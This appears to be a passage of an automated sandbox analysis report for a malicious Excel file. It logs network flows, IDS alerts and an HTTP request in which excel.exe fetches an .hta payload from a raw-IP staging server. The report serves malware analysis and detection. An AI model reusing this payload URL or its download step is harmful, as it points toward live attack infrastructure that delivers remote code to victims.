Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49741 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49741
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49742
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49742
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49743
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49743
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49742
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49742
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49742
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49743
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49743
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49743
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49742
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49742
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49742
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49742
Source: global traffic	TCP traffic: 192.168.2.5:49742 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49742
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49743
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49743
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49743
Source: global traffic	TCP traffic: 192.168.2.5:49743 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.5:49743
Source: global traffic	TCP traffic: 192.168.2.5:49738 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 198.12.89.24:80 -> 192.168.2.5:49738

Source: excel.exe

Memory has grown: Private usage: 2MB later: 176MB

Source: Joe Sandbox View	IP Address: 198.12.89.24 198.12.89.24
Source: Joe Sandbox View	IP Address: 13.107.246.60 13.107.246.60

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49741 -> 13.107.246.60:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49742 -> 13.107.246.60:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49743 -> 13.107.246.60:443

Source: global traffic

HTTP traffic detected: GET /xampp/kvrmot/kvrm/greatcomebackdoingforeverwithgreat.hta HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: 198.12.89.24Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	TCP traffic detected without corresponding DNS query: 198.12.89.24
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /xampp/kvrmot/kvrm/greatcomebackdoingforeverwithgreat.hta HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: 198.12.89.24Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: otelrules.svc.static.microsoft

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 15 Mar 2025 07:55:39 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 298Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 39 38 2e 31 32 2e 38 39 2e 32 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 198.12.89.24 Port 80</address></body></html>

